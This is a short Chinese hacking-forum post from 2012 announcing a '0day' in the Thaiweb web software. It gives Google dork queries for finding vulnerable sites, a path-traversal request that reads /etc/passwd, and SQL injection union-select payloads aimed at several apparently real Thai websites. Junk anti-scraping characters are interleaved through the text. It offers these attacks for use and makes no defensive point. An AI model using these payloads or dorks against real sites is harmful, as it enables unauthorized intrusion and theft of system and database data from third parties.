找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
+ S# `6 x# Y6 L- O: V3 s; \/ \. K2 ]4 [2 D' u) f$ f
intext:powered by Thaiweb
7 p! J# }0 F) r' e
) ^! w  _" T0 w. {. a% M* m& dinurl:index.php?page=board.php5 F! h4 D0 ]6 C% M9 H$ ?* r! ]
1 v7 ]4 h8 l' L+ L6 X

. Q9 U) `0 L; `8 P# h" @2 _
( }4 b! c9 }& p! q) f0 n1 x$ |利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
1 m) j6 Q0 b# u9 a( q3 r
( L8 }, `* G, n* g 0 t+ U) ]* h9 |, v4 {8 i8 p

) h0 S# ?; U; `4 {3 j. \利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
6 t6 p9 i7 O8 V" s& E" F' c7 C4 ?' k! w, @- @/ X

& N% W: p* }; p, Q. x( c, t$ I+ k8 I$ j
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--9 y4 C% J" |2 a& `& @
+ U0 K8 G( n+ j; N
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--9 ~$ v: A8 F6 P( ?1 w; @3 v  ~5 Y
4 p" V$ b- }4 H0 O6 D' O
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
0 e% b2 N; U; b3 s9 H' y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表